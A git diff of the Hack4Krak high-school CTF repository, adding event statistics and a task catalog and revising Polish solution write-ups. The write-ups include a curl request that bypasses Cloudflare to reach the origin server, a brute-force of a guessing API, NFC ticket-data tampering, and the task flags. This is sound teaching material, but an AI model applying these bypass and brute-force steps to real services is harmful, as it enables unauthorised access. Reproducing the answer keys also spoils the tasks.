diff --git a/README.md b/README.md index a0f00a26..8a8b55b6 100644 --- a/README.md +++ b/README.md @@ -1,35 +1,120 @@ -# 🎓 High School Tasks 26 +
+ 109+ participantstook part + |
+
+ 29+ teams capturedat least one flag + |
+
+ 676+ flags submittedduring the CTF + |
+
+ 35+ tasks across9 categories + |
+
+ 2+ teams solvedevery single task + |
+
Over 30 hours of non-stop hacking across two days.
+ +## Task catalog + +Every task links to its **description** (the prompt players saw) and its **write-up** (how it was meant to be cracked). + +| Task | Category | Difficulty | Write-up | +| :--- | :--- | :--- | :---: | +| [**Ankieterzy na Mogilskim**](tasks/ankieta/description.md) | `Misc` | 🟢 Rookie | [Solution](tasks/ankieta/solution.md) | +| [**flappykrak**](tasks/flappy-krak/description.md) | `Games` | 🟢 Rookie | [Solution](tasks/flappy-krak/solution.md) | +| [**No Handshake, No Flag**](tasks/handshake/description.md) | `Misc` | 🟢 Rookie | [Solution](tasks/handshake/solution.md) | +| [**Zakrzowek Fast Pass**](tasks/zakrzowek-fast-pass/description.md) | `Web` · `Misc` | 🟢 Rookie | [Solution](tasks/zakrzowek-fast-pass/solution.md) | +| [**900728**](tasks/900728/description.md) | `Misc` | 🔵 Easy | [Solution](tasks/900728/solution.md) | +| [**Co tam się odjaniepawla?**](tasks/co-tam-sie-odjaniepawla/description.md) | `Games` | 🔵 Easy | [Solution](tasks/co-tam-sie-odjaniepawla/solution.md) | +| [**Czemu to nie działa???**](tasks/czemu-nie-dziala/description.md) | `Web` | 🔵 Easy | [Solution](tasks/czemu-nie-dziala/solution.md) | +| [**Symulator Szewczyka Dratewki**](tasks/dratewka-simulator/description.md) | `Games` | 🔵 Easy | [Solution](tasks/dratewka-simulator/solution.md) | +| [**Ucieczka po Krakowie**](tasks/fly-you-fools/description.md) | `Misc` · `Reverse` | 🔵 Easy | [Solution](tasks/fly-you-fools/solution.md) | +| [**Strony nie z tego świata**](tasks/hidden-site/description.md) | `Misc` | 🔵 Easy | [Solution](tasks/hidden-site/solution.md) | +| [**Kraków Arcade Museum**](tasks/krakow-arcade-museum/description.md) | `Games` · `Misc` | 🔵 Easy | [Solution](tasks/krakow-arcade-museum/solution.md) | +| [**Linux Ain't Scary**](tasks/linux-aint-scary/description.md) | `Misc` | 🔵 Easy | [Solution](tasks/linux-aint-scary/solution.md) | +| [**Logika Nie Logikuje**](tasks/logika-nie-logikuje/description.md) | `Misc` | 🔵 Easy | [Solution](tasks/logika-nie-logikuje/solution.md) | +| [**Ale z niego poliglota!**](tasks/polyglot/description.md) | `Misc` | 🔵 Easy | [Solution](tasks/polyglot/solution.md) | +| [**Session Snack**](tasks/session-snack/description.md) | `Web` | 🔵 Easy | [Solution](tasks/session-snack/solution.md) | +| [**Shadows in the Light**](tasks/shadows-in-the-light/description.md) | `Web` · `Misc` | 🔵 Easy | [Solution](tasks/shadows-in-the-light/solution.md) | +| [**Yet Another Minecraft**](tasks/yet-another-minecraft/description.md) | `Games` | 🔵 Easy | [Solution](tasks/yet-another-minecraft/solution.md) | +| [**Bileciki do kontroli!**](tasks/bileciki-do-kontroli/description.md) | `Misc` · `Physical` | 🟠 Medium | [Solution](tasks/bileciki-do-kontroli/solution.md) | +| [**Krakowskie Kasyno**](tasks/casino/description.md) | `Pwn` | 🟠 Medium | [Solution](tasks/casino/solution.md) | +| [**Co to za numer**](tasks/co-to-za-numer/description.md) | `Web` | 🟠 Medium | [Solution](tasks/co-to-za-numer/solution.md) | +| [**Kradzież Rzeczywistości**](tasks/kradziez-rzeczywistosci/description.md) | `Reverse` | 🟠 Medium | [Solution](tasks/kradziez-rzeczywistosci/solution.md) | +| [**MOCAK**](tasks/mocak/description.md) | `Misc` | 🟠 Medium | [Solution](tasks/mocak/solution.md) | +| [**Kulisy Słowackiego**](tasks/slowacki-backstage/description.md) | `Reverse` · `Pwn` | 🟠 Medium | [Solution](tasks/slowacki-backstage/solution.md) | +| [**Smog4Shell**](tasks/smog4shell/description.md) | `Real World` · `Pwn` | 🟠 Medium | [Solution](tasks/smog4shell/solution.md) | +| [**Ucieczka z pudełka**](tasks/ucieczka-z-pudelka/description.md) | `Pwn` · `Real World` | 🟠 Medium | [Solution](tasks/ucieczka-z-pudelka/solution.md) | +| [**Jeszcze bardziej lepszy AES++**](tasks/unresonably-better-aes/description.md) | `Crypto` | 🟠 Medium | [Solution](tasks/unresonably-better-aes/solution.md) | +| [**Kto, gdzie i kiedy ukrył stronę?**](tasks/who-where-when/description.md) | `Web` · `OSINT` | 🟠 Medium | [Solution](tasks/who-where-when/solution.md) | +| [**Wolontariusze**](tasks/wolontariusze/description.md) | `Reverse` · `Web` | 🟠 Medium | [Solution](tasks/wolontariusze/solution.md) | +| [**1-800-OGŁUSZENIE**](tasks/1-800-ogluszenie/description.md) | `Misc` | 🔴 Hard | [Solution](tasks/1-800-ogluszenie/solution.md) | +| [**Akta Wiktora Popiołka**](tasks/akta-wikipopa/description.md) | `Misc` · `Crypto` · `Reverse` | 🔴 Hard | [Solution](tasks/akta-wikipopa/solution.md) | +| [**Bibliotheca Jagellonica**](tasks/bibliotheca-jagellonica/description.md) | `Misc` · `Web` | 🔴 Hard | [Solution](tasks/bibliotheca-jagellonica/solution.md) | +| [**Dziwna wiadomość**](tasks/dziwna-wiadomosc/description.md) | `OSINT` | 🔴 Hard | [Solution](tasks/dziwna-wiadomosc/solution.md) | +| [**Unemployment is over party**](tasks/employment/description.md) | `Web` | 🔴 Hard | [Solution](tasks/employment/solution.md) | +| [**Machina Exitii**](tasks/machina-exitii/description.md) | `Misc` · `Pwn` · `Crypto` · `Web` | 🔴 Hard | [Solution](tasks/machina-exitii/solution.md) | +| [**rybulbol**](tasks/rybulbol/description.md) | `Games` · `Reverse` | 🔴 Hard | [Solution](tasks/rybulbol/solution.md) | ## Development -*Required only for running Hack4Krak Toolbox* -### 1. Download all required dependencies +This repository follows the layout defined by [Hack4Krak/TasksTemplate](https://github.com/Hack4Krak/TasksTemplate/). Visit it for the technical background, or browse the [`docs/`](docs/) directory. + +| Path | What's inside | +| :--- | :--- | +| [`tasks/`](tasks/) | Configuration, source, tests & write-up for every task | +| [`config/`](config/) | Configuration for the specific CTF event (timeline, labels, deployments) | +| [`toolbox/`](toolbox/) | Our custom CLI for working with this repository | +| [`docs/`](docs/) | Documentation — [structure](docs/STRUCTURE.md), [testing](docs/TESTING.md) & [deployment](docs/DEPLOYMENT.md) | + +Running the **Hack4Krak Toolbox** locally: + ```shell +# 1. Download all required dependencies uv sync + +# 2. Run the CLI +uv run toolbox ``` -### 2. Run CLI -```shell -uv run toolbox -``` \ No newline at end of file +Got questions about tasks, configuration, or deployment? Join our [Discord](https://discord.gg/ASPqckzEd8). We'll be happy to help. + +## Credits + +Tasks were made by the [Hack4Krak team](https://hack4krak.pl/about_us): [Norbiros](https://norbiros.dev), [wojpo](https://github.com/wojpo), [Goteusz](https://github.com/goteusz-maszyk), [Sanielia](https://sanielia.dev) & [P0m1d00r](https://github.com/P0m1d00r). + +Huge thanks to them for grinding out all the tasks down to the very last second, and thank **you** for participating. See you next edition! diff --git a/docs/assets/score-progression.png b/docs/assets/score-progression.png new file mode 100644 index 00000000..63d62996 Binary files /dev/null and b/docs/assets/score-progression.png differ diff --git a/tasks/1-800-ogluszenie/solution.md b/tasks/1-800-ogluszenie/solution.md index d144d565..f98bf383 100644 --- a/tasks/1-800-ogluszenie/solution.md +++ b/tasks/1-800-ogluszenie/solution.md @@ -44,7 +44,7 @@ hack4KrakCTF{C4LL-1-800-H4K-7OW} Organizatorom nie udało się rozwiązać tego zadania całkowicie autonomicznie z użyciem modeli językowych. Jeśli Tobie się udało, koniecznie pochwal się tym na naszym Discordzie! -## Informacje dodatkowe +### Informacje dodatkowe Główna piosenka: **Taco Hemingway - Wielkomiejska Bezsenność** diff --git a/tasks/900728/solution.md b/tasks/900728/solution.md index f09e6974..e9442b3b 100644 --- a/tasks/900728/solution.md +++ b/tasks/900728/solution.md @@ -1,11 +1,11 @@ ## Opis -Zadanie to było typowym przykładem LSB (Least Significant Bit) steganografii, czyli ukrywania informacji w najmniej znaczących bitach danych. -W tym przypadku podanym plikiem było: 8bit mono audio. +Zadanie to było typowym przykładem LSB (Least Significant Bit) steganografii, czyli ukrywania informacji w najmniej znaczących bitach danych. +W tym przypadku otrzymaliśmy 8-bitowy plik audio mono. ## Rozwiązanie -``` +```python from wave import open audio = open("../assets/900728.wav", "rb") @@ -17,12 +17,9 @@ bits = [] for frame in frames: bits.append(str(frame & 1)) -textbits = ''.join(bits) +textbits = "".join(bits) -text = ''.join( - chr(int(textbits[i:i+8], 2)) - for i in range(0, len(textbits), 8) -) +text = "".join(chr(int(textbits[i : i + 8], 2)) for i in range(0, len(textbits), 8)) flag = text.split("hack4KrakCTF{")[1].split("}")[0] @@ -31,4 +28,4 @@ print(flag) Program ten odczytuje dane z pliku audio, a następnie wyciąga najmniej znaczące bity z każdego bajtu danych. Następnie łączy te bity w ciąg tekstowy, który jest dzielony na znaki ASCII. Ostatecznie, program wyszukuje flagę w formacie `hack4KrakCTF{...}` i wypisuje jej zawartość. -flaga, którą otrzymujemy po uruchomieniu tego programu, to: `hack4KrakCTF{t4c0_0p4n0wal_h4ck4kr4k}` \ No newline at end of file +Flaga, którą otrzymujemy po uruchomieniu tego programu, to: `hack4KrakCTF{t4c0_0p4n0wal_h4ck4kr4k}`. diff --git a/tasks/akta-wikipopa/solution.md b/tasks/akta-wikipopa/solution.md index 48104830..46b7d3ea 100644 --- a/tasks/akta-wikipopa/solution.md +++ b/tasks/akta-wikipopa/solution.md @@ -1,34 +1,73 @@ ## Opis -Ten task jest wieloetapowy, wykorzystuje zarówno metody kryptografii jak i reverse engineering. +To zadanie jest wieloetapowe. Wykorzystuje zarówno metody kryptograficzne, jak i reverse engineering. -Plik `WPA000001.pdf` zawiera zasłonięty tekst czarnym paskiem jednakże ten PDF nie został spłaszczony przez co można bez problemu wydobyć tekst pod spodem np. kopiując go - [realny błąd rządu USA](https://www.redactable.com/blog/redacted-epstein-files-here-is-what-went-wrong) +Plik `WPA000002.pdf` zawiera wiadomość zaszyfrowaną przy użyciu szyfru podstawieniowego. -Plik `WPA000002.pdf` używa homofonicznego szyfru podstawieniowego - -Plik `WielkiBrat.zip` zawiera plik `exe` aplikacji winforms, który można zdekompilować praktycznie do natywnego C# +Archiwum `WielkiBrat.zip` zawiera aplikację WinForms skompilowaną dla platformy .NET, którą można stosunkowo łatwo zdekompilować i przeanalizować. ## Rozwiązanie -1. Zapoznajemy się z prawem z pliku `ThePrawo.pdf` -2. Wyciągamy id czynów zabronionych przestępstwa z pliku `WPA000001.pdf` - 3 i 7 - liczymy lata programem `WielkiBrat.exe` - 58936329 lat -3. Odszyfrowujemy tekst pliku `WPA000002.pdf` za pomocą [analizy frekwencyjnej](https://en.wikipedia.org/wiki/Frequency_analysis) - z tekstu id czynów zabronionych przestępstwa: 1 i 2 - `WielkiBrat.exe`: 86304100 lat -4. W plikach od `WPA000003.pdf` do `WPA000005.pdf` nie znajdują się żadne istotne informacje - zawierają jedynie zabawne obrazki. Dopiero w pliku `WPA000006.pdf` można znaleźć notatkę, z której wynika, że rozpatrywane przestępstwo obejmuje czyny zabronione 2, 3, 6 oraz 7. -5. Wiemy, że program nie potrafi obliczyć kary dla przestępstwa obejmującego więcej niż dwa czyny zabronione. Konieczne jest więc ustalenie formuły wykorzystywanej przez aplikację do wyznaczania kary dla większej liczby jednoczesnych czynów zabronionych. -6. Jeśli posiadamy doświadczenie z platformą .NET, możemy szybko rozpoznać, że aplikacja została napisana w technologii WinForms. Nawet bez takiej wiedzy można łatwo potwierdzić ten fakt przy użyciu narzędzia Binary Ninja. Pozwala to stwierdzić, że mamy do czynienia z aplikacją .NET. -7. Skoro wiemy, że aplikacja jest samodzielnym plikiem wykonywalnym opartym na .NET, możemy spróbować wyodrębnić zawarte w niej zasoby i biblioteki. W tym celu używamy narzędzia sfextract, które rozpakowuje plik do wielu komponentów, w tym głównej biblioteki .dll. -8. Następnie otwieramy wyodrębnioną bibliotekę .dll w narzędziu DotPeek od JetBrains. Ponieważ kod .NET można stosunkowo łatwo zdekompilować, uzyskujemy dostęp do pełnej logiki aplikacji zapisanej w bliskim do natywnego C#'ie. Analiza tego kodu pozwala odtworzyć formułę wykorzystywaną do obliczania kary. -9. Zauważamy, że opiera się na słowniku gdzie kluczem jest id a wartościa treść czynów zabronionych, oraz na obliczaniu sumy wartości ASCII wszystkich znaków z treści tych czynów. -10. Wyciągamy formułe `(słownik[id1]+slownik[id2])*(slownik[id1]+slownik[id2])` i stosujemy ją na przestępstwie z czterema czynami zabronionymi za pomocą prostego skryptu w pythonie, który wyglądał by mniej więcej tak: -``` +### Przygotowanie + +Zapoznajemy się z plikiem `ThePrawo.pdf`. Dowiadujemy się, że przestępstwo może składać się z kilku czynów zabronionych, jeżeli zostały wykonane w tym samym czasie. Długość kary możemy obliczyć programem `wielkiBrat.exe`, który nie jest jednak w stanie obsłużyć przestępstwa składającego się z więcej niż dwóch czynów zabronionych. + +Dowiadujemy się również, że końcowa kara to iloczyn kar za wszystkie przestępstwa danej osoby. + +### `WPA000001.pdf` + +PDF został ocenzurowany, ale nie spłaszczony. Można więc skopiować treść dokumentu, wkleić ją w innym miejscu i normalnie przeczytać. + +Naciskamy `Ctrl+A` i `Ctrl+C`, wklejamy treść i odczytujemy identyfikatory czynów zabronionych: 3 i 7. Obliczamy karę programem `WielkiBrat.exe` i otrzymujemy 58936329 lat. + +### `WPA000002.pdf` + +Odszyfrowujemy tekst pliku `WPA000002.pdf` za pomocą [analizy frekwencyjnej](https://en.wikipedia.org/wiki/Frequency_analysis) + +Na podstawie częstości występowania znaków, powtarzalnych wzorców słów oraz kontekstu językowego (struktury zdań, nazw własnych i typowych wyrażeń urzędowych) odtworzono mapowanie alfabetu szyfrowego na litery języka polskiego. + +Dzięki rekonstrukcji podstawień możliwe było stopniowe odszyfrowanie całego dokumentu oraz uzupełnienie brakujących fragmentów na podstawie kontekstu gramatycznego. Ostatecznie uzyskano pełną treść raportu sądowego dotyczącego działalności Wiktora Aleksandra Popiołka. + +Z tekstu wynika, że sprawa dotyczy czynów zabronionych oznaczonych jako przestępstwo 1 i 2. + +Program `WielkiBrat.exe` zwraca 86304100 lat. + +### `WPA000003.pdf - WPA000005.pdf` + +W plikach od `WPA000003.pdf` do `WPA000005.pdf` nie znajdują się żadne istotne informacje - zawierają jedynie zabawne obrazki. + +### `WPA000006.pdf` + +W pliku `WPA000006.pdf` odnajdujemy notatkę wskazującą, że rozpatrywane przestępstwo obejmuje czyny zabronione 1, 2, 6 oraz 7. + +Z dokumentacji wynika, że program nie potrafi poprawnie obliczyć kary dla przestępstw obejmujących więcej niż dwa czyny jednocześnie, co sugeruje konieczność odtworzenia stosowanej przez aplikację formuły obliczeniowej dla większych zestawów czynów zabronionych. + +Na podstawie analizy środowiska wykonawczego można ustalić, że aplikacja została napisana w technologii .NET (WinForms). Nawet bez bezpośredniej wiedzy programistycznej można to potwierdzić przy użyciu narzędzia `Binary Ninja`, które ujawnia strukturę aplikacji jako aplikację .NET. + +W kolejnym kroku ekstraktujemy zawartość pliku wykonywalnego za pomocą narzędzia `sfextract`, uzyskując zestaw komponentów aplikacji, w tym główną bibliotekę `.dll`. Następnie analizujemy ją w narzędziu `JetBrains DotPeek`, które pozwala zdekompilować kod zarządzany .NET do czytelnej postaci zbliżonej do C#. + +Analiza zdekompilowanej logiki wskazuje, że aplikacja korzysta ze słownika, w którym kluczem jest identyfikator czynu zabronionego, a wartością — jego opis. Kluczowym elementem obliczeń jest suma wartości ASCII wszystkich znaków w opisie danego czynu. + +Na tej podstawie rekonstruujemy wzór używany do obliczania kary dla dwóch czynów: `(slownik[id1] + slownik[id2]) * (slownik[id1] + slownik[id2])`. + +Następnie rozszerzamy go na przypadek czterech czynów i obliczamy wynik za pomocą prostego skryptu w Pythonie: + +```python slownik = (skopiowany slownik) + def ascii(n): suma = 0 for i in n: suma += ord(i) return suma - -print((ascii(slownik[1])+ascii(slownik[2])+ascii(slownik[6])+ascii(slownik[7]))**2) + +print((ascii(slownik[1]) + ascii(slownik[2]) + ascii(slownik[6]) + ascii(slownik[7]))**2) ``` -11. Wychodzi nam z tego - 415385161 -12. Zatem flaga to: 415385161 * 86304100 * 58936329 + +Otrzymujemy `415385161`. + +### Końcówka zadania + +Wyliczyliśmy osobne wartości kar za wszystkie przestępstwa: `415385161`, `86304100` i `58936329`. + +Następnie obliczamy iloczyn tych kar i otrzymujemy flagę: `2112834536082418221972900`. diff --git a/tasks/ankieta/solution.md b/tasks/ankieta/solution.md index c334ba79..fb0e5d74 100644 --- a/tasks/ankieta/solution.md +++ b/tasks/ankieta/solution.md @@ -1,3 +1,7 @@ +## Opis + +Zadanie polegało na wypełnieniu ankiety podsumowującej wydarzenie. + ## Rozwiązanie -Tu chyba nie ma wiele do tłumaczenia, po prostu trzeba było wypełnić ankietę przed końcem czasu. \ No newline at end of file +Należało wypełnić ankietę przed upływem wyznaczonego czasu. diff --git a/tasks/bibliotheca-jagellonica/solution.md b/tasks/bibliotheca-jagellonica/solution.md index 753edb27..ee829fc5 100644 --- a/tasks/bibliotheca-jagellonica/solution.md +++ b/tasks/bibliotheca-jagellonica/solution.md @@ -1,5 +1,3 @@ -# Bibliotheca Jagellonica - rozwiązanie - ## Opis Zadanie udaje nieskończoną bibliotekę w duchu Borgesa. Pierwsze etapy są krótkimi manuskryptami `.txt`, które uczą gracza, że katalog nie pokazuje wszystkiego, a tekst trzeba czytać jako palimpsest. @@ -8,7 +6,9 @@ Kluczowy mechanizm: `lorem.txt` ujawnia dwa odsyłacze jednocześnie — jeden d `Range` jest mechaniką finalną. Dopiero ostatnia księga deklaruje 37 TB i wymaga czytania małych fragmentów. -## Etap 1: prolog i Verulam +## Rozwiązanie + +### Etap 1: prolog i Verulam W katalogu widać `prolog.txt` oraz `buffalo.txt`. Prolog wspomina Buffalo i kanclerza z Verulamu. Verulam prowadzi do Francisa Bacona, a więc do szyfru Bacona. @@ -24,7 +24,7 @@ To wskazuje ukrytą księgę w tym samym woluminie: /library/0123456789abcdef0123456789abcdef/wall/2/shelf/4/volume/17/book/lorem.txt ``` -## Etap 2: palimpsest lorem — dwie ścieżki +### Etap 2: palimpsest lorem — dwie ścieżki `lorem.txt` zawiera kanon oraz odpis. Porównujemy oba akapity. Różnice między kanonem a odpisem dają: @@ -50,7 +50,7 @@ Na marginesie `lorem.txt` widnieje również bezpośredni odsyłacz do zapieczę /library/0ddba11ad0ddba11ad0ddba11ad0ddba11ad/wall/1/shelf/2/volume/9/book/cipher.txt ``` -## Etap 3: tablica pi i księga wędrowna +### Etap 3: tablica pi i księga wędrowna `pi.txt` wygląda jak długi zapis cyfr pi. Niektóre znaki nie są jednak cyframi. Wyciągnięcie znaków spoza alfabetu dziesiętnego z bloku liczby daje: @@ -72,7 +72,7 @@ curl -H 'Accept-Language: la' 'https://bibliotheca-jagellonica.hack4krak.pl/libr Pojawia się ścieżka do `headers.txt`. -## Etap 4: karta bez tresci widzialnej +### Etap 4: karta bez treści widzialnej `headers.txt` mówi, że odsyłacz widzi tylko posłaniec niosący odpowiedź. Trzeba sprawdzić nagłówki HTTP: @@ -86,7 +86,7 @@ Nagłówek `Link` wskazuje bezpośrednio finalną księgę: /library/ffffffffffffffffffffffffffffffff/wall/4/shelf/5/volume/32/book/umbra.txt ``` -## Etap 5: odszyfrowanie cipher.txt +### Etap 5: odszyfrowanie `cipher.txt` Gracz wraca do `cipher.txt` z etapu 2. `lorem.txt` powiedział, że "Babel jest kluczem do obcego alfabetu", a `cipher.txt` mówi "zdejmij metaliczny atrament" (hex) i że klucz jest wspólny z tym, który otwierał obcy alfabet. @@ -101,7 +101,7 @@ Otrzymujemy: FINAL /library/ffffffffffffffffffffffffffffffff/wall/4/shelf/5/volume/32/book/umbra.txt ; sufiks 512 ; potem czytaj karty z konca: BABEL 13371337:13, E 27182818:10, PI 31415926:9, FI 16180339:11, KRAKOW 42424242:13. ``` -## Etap 6: księga 37 TB +### Etap 6: księga 37 TB To pierwszy moment, w którym potrzebny jest HTTP `Range`. Finalna księga deklaruje 37 TB i odmawia pełnego pobrania. Czytamy tylko końcówkę: @@ -131,7 +131,7 @@ Zamieniamy je na zakresy bajtów: Po złożeniu fragmentów dostajemy flagę. -## Flaga +### Flaga ```text hack4KrakCTF{c4t4l0gu5_in_umbra_ranges_non_legunt_totum} diff --git a/tasks/bileciki-do-kontroli/solution.md b/tasks/bileciki-do-kontroli/solution.md index 11919776..8bd1fe57 100644 --- a/tasks/bileciki-do-kontroli/solution.md +++ b/tasks/bileciki-do-kontroli/solution.md @@ -1,8 +1,9 @@ -# Opis +## Opis -Kontrola biletów odbyła się za pomocą czytnika +Kontrola biletów odbywała się za pomocą czytnika. + +Na otrzymanej karcie zapisano następujące dane w formacie [CBOR](https://cbor.io/), zakodowane za pomocą Base64: -Na karcie którą otrzymaliście zapisane były następujące dane w formacie [CBOR](https://cbor.io/) zakodowane przez base64: ```json { "count": 1, @@ -11,3 +12,9 @@ Na karcie którą otrzymaliście zapisane były następujące dane w formacie [C "activated_at": 1779457635 } ``` + +## Rozwiązanie + +Należało zwiększyć liczbę biletów oraz czas ich ważności przez modyfikację pól `count`, `duration`, `duration_unit` lub `activated_at`, a następnie ponownie zapisać dane na otrzymanej karcie w odpowiednim formacie. + +Do odczytania i zapisania danych można było wykorzystać aplikację na Androida obsługującą karty NFC oraz format NDEF, np. NFC Tools. diff --git a/tasks/casino/solution.md b/tasks/casino/solution.md index e5b8c92a..30be93a6 100644 --- a/tasks/casino/solution.md +++ b/tasks/casino/solution.md @@ -1,7 +1,7 @@ -## Zadanie -Zadanie pochodziło z JustCtf2025, które podczas trwania wydarzenia rozwiązała tylko jedna drużyna. +## Opis + +Zadanie pochodziło z JustCTF 2025. Podczas tamtego wydarzenia rozwiązała je tylko jedna drużyna. ## Rozwiązanie -Ogólnie to sami nie wiemy jak to rozwiązać... podobno jest to coś z race condition. Opus mielił godzinę i stwierdził że nie umie... -Wiec jak to rozwiązałeś to gratulację. \ No newline at end of file +Zadanie celowo pochodziło z wyjątkowo trudnego CTF-a. Chcieliśmy sprawdzić, jak poradzicie sobie z nim przy wsparciu współczesnych modeli AI oraz jak duży postęp zrobiły te narzędzia. diff --git a/tasks/co-to-za-numer/solution.md b/tasks/co-to-za-numer/solution.md index 7b0beef4..236a9e63 100644 --- a/tasks/co-to-za-numer/solution.md +++ b/tasks/co-to-za-numer/solution.md @@ -6,8 +6,9 @@ Jeśli ktoś zdobył flagę ręcznie, to gratuluję samozaparcia i współczuję ## Rozwiązanie -1. Otworzyć DevTools i znaleźć API używane przez stronę. -2. Pobrać pełną listę tytułów z endpointu `/api/search`. -3. Zauważyć, że endpoint `/api/guess` nie ma limitu prób. -4. Dla kolejnych dni bruteforce'ować tytuły z listy przez `/api/guess`. -5. Z poprawnych odpowiedzi wziąć pierwsze litery tytułów i połączyć je w flagę. +1. Otworzyć narzędzia deweloperskie (DevTools) i zidentyfikować endpointy API wykorzystywane przez aplikację. +2. Za pomocą endpointu `/api/search` pobrać pełną listę dostępnych tytułów utworów. +3. Zauważyć, że endpoint `/api/guess` nie posiada ograniczenia liczby prób. +4. Dla każdego dnia wykonywać atak słownikowy na endpoint `/api/guess`, wykorzystując wcześniej pobraną listę tytułów. +5. Z poprawnych odpowiedzi wyodrębnić pierwsze litery tytułów i połączyć je w odpowiedniej kolejności, uzyskując flagę. +6. Po połączeniu liter np. za pomocą prostego skryptu w Pythonie otrzymujemy flagę: `SSVMSJMAIŁWDŁBBAWGMPHAEWMNRWGDECCGBBŚPKAWSR"YMBCCDIJJJwkKTBMSVZAMDCAMDZPPBSCKZZTŻWSRWPPVKADKAMPCTBTT`. diff --git a/tasks/czemu-nie-dziala/solution.md b/tasks/czemu-nie-dziala/solution.md index a7ae6a8d..d6e29837 100644 --- a/tasks/czemu-nie-dziala/solution.md +++ b/tasks/czemu-nie-dziala/solution.md @@ -1,8 +1,30 @@ -Problem był taki, że: -- SSL nie działało -- zadanie wymagało obejścia cloudflare. +## Opis + +Serwery zadań były chronione przez Cloudflare WAF, które automatycznie blokowało +popularne ataki, ukrywało adres IP naszego głównego serwera oraz dodawało do każdego żądania +charakterystyczne nagłówki, m.in.: + +- `cf-ray` +- `cf-connecting-ip` +- `cf-visitor` + +Aplikacja zadania została skonfigurowana tak, aby odrzucać każde żądanie +zawierające którykolwiek z powyższych nagłówków lub nagłówek `User-Agent`. ## Rozwiązanie -46.224.160.55 to nasze ip - można je znaleźć np. z dratewka-simulator.hack4krak.pl (serwer minecraft) -Należało wykonać `OPTIONS 46.224.160.55` z headerem `Host: czemu-nie-dziala.hack4krak.pl`. \ No newline at end of file +Na początku należało ustalić adres IP naszego serwera. Najprościej +było to zrobić przez odczytanie rekordu używanego przez nasz serwer Minecraft `dratewka-simulator.hack4krak.pl`. + +Po uzyskaniu prawdziwego adresu IP należało pominąć Cloudflare +i wysłać bezpośrednie żądanie HTTP do serwera: + +Przykładowo przy użyciu curl: + +```bash +curl -X OPTIONS http://46.224.160.55 \ +-H "Host: czemu-nie-dziala.hack4krak.pl" +``` + +Kluczowe było wykonanie żądania bez nagłówków dodawanych przez +Cloudflare oraz bez nagłówka `User-Agent`, dzięki czemu aplikacja zaakceptowała żądanie. diff --git a/tasks/dratewka-simulator/solution.md b/tasks/dratewka-simulator/solution.md index 77c89419..e459566c 100644 --- a/tasks/dratewka-simulator/solution.md +++ b/tasks/dratewka-simulator/solution.md @@ -7,12 +7,13 @@ Jeśli ktoś z was przeszedł grę, to gratulujemy! Jest kilka sposobów na rozwiązanie problemu ze smokiem: - Przejść grę na serwerze w pełni uczciwie, po czym przeczytać nasz własny [End Poem](https://minecraft.wiki/w/End_Poem). -- Wykorzystać fakt, że gra wysyła nam resourcepack, który można odczytać od razu. +- Wykorzystać fakt, że gra wysyła nam paczkę zasobów (resource pack), którą można odczytać od razu. -Haczyk jest taki, że spakowaliśmy nasz resourcepack używając [PackSquasha](https://github.com/ComunidadAylas/PackSquash). -Wykorzystuje on różne sposoby na utrudnienie odczytu zipa tak, aby trudniej go było "po prostu" odczytać. +Haczyk jest taki, że spakowaliśmy naszą paczkę zasobów za pomocą [PackSquasha](https://github.com/ComunidadAylas/PackSquash). +Wykorzystuje on różne sposoby na utrudnienie odczytu pliku ZIP. + +Wystarczy jednak przenieść serwerową paczkę z `downloads` do `resourcepacks` i aktywować ją. Następnie tworzymy świat w trybie kreatywnym i wpisujemy dwie komendy: -Wystarczy jednak przenieść serwerową paczkę z `downloads` do `resourcepacks` i aktywować ją. Następnie tworzymy świat creative i wpisujemy dwie komendy: ```mcfunction execute in minecraft:the_end run tp 0 100 0 kill @e[type=ender_dragon] @@ -22,4 +23,4 @@ Po wskoczeniu do portalu naszym oczom ukazuje się wątpliwej jakości opowieś ## AI -AI nie ma bezpośredniej kontroli nad grą co mocno utrudnia pracę. Mimo kilku prób promptów z opisem kontekstu, ChatGPT (darmowy na stronie) nie wpadł na to, że jest to kwestia resourcepacka. +AI nie ma bezpośredniej kontroli nad grą, co mocno utrudnia pracę. Mimo kilku prób promptów z opisem kontekstu ChatGPT (w darmowej wersji na stronie) nie rozpoznał, że rozwiązanie wymaga analizy paczki zasobów. diff --git a/tasks/dziwna-wiadomosc/solution.md b/tasks/dziwna-wiadomosc/solution.md index dac78349..bcbf9519 100644 --- a/tasks/dziwna-wiadomosc/solution.md +++ b/tasks/dziwna-wiadomosc/solution.md @@ -1,16 +1,20 @@ +## Opis + +Zadanie OSINT polegało na połączeniu informacji ukrytych w gazetce, odnalezieniu właściwej działki oraz prześledzeniu historii edycji obiektu w OpenStreetMap. + ## Rozwiązanie W gazetce należało zauważyć pewne fakty: -- KN (numer 1) -> sugeruje, że szukamy o okolicy Nowego Sącza, co potwierdzają nazwy miejscowości w wiadomościach (126201_1 to id jednostki ewidencyjnej w Nowym Sączu, przyda się później) +- KN (numer 1) sugeruje, że szukamy okolicy Nowego Sącza, co potwierdzają nazwy miejscowości w wiadomościach (`126201_1` to identyfikator jednostki ewidencyjnej w Nowym Sączu, który przyda się później). - Wspomniane odcinki OSTROŁĘKA—TŁUSZCZ oraz SŁUBICE—POŁUPIN to odpowiednio linia kolejowa i droga krajowa o numerze 29 -- Jak znajdziemy miejsce domku z obrazka i lekko przesuniemy się na street view zobaczymy **słupek** kilometrowy o wartości 144/0 +- Po znalezieniu miejsca z domkiem widocznym na obrazku i lekkim przesunięciu widoku Street View zobaczymy **słupek** kilometrowy o wartości `144/0`. -Na sam koniec znajdyje się napis `Auta - Kolejki i świnie - słupki` sugerujący kolejność ułożenia wartości. +Na samym końcu znajduje się napis `Auta - Kolejki i świnie - słupki`, sugerujący kolejność ułożenia wartości. Po sklejeniu tych danych otrzymujemy numer działki: 126201_1.0029.144, który odpowiada Zespołowi Szkół Budowlanych w Nowym Sączu. -Znajdujemy obiekt na [OpenStreetMap](https://www.openstreetmap.org/way/332508627) i zauważamy, że ostatnia edycja została wykonana przez `gotitim` +Znajdujemy obiekt na [OpenStreetMap](https://www.openstreetmap.org/way/332508627) i zauważamy, że ostatnia edycja została wykonana przez użytkownika `gotitim`. -W opisie profilu znajduje się napis *nowa-droga*.hack4krak.pl. Przyglądając się historii zmian profilu, można domyślić się, że chodzi o `obwodnica-zabierzowa.hack4krak.pl` +W opisie profilu znajduje się napis `nowa-droga.hack4krak.pl`. Przyglądając się historii zmian profilu, można domyślić się, że chodzi o `obwodnica-zabierzowa.hack4krak.pl`. -Po otwarciu strony, wpisujemy do niej id działki i ta generuje flagę. \ No newline at end of file +Po otwarciu strony wpisujemy identyfikator działki. Strona generuje 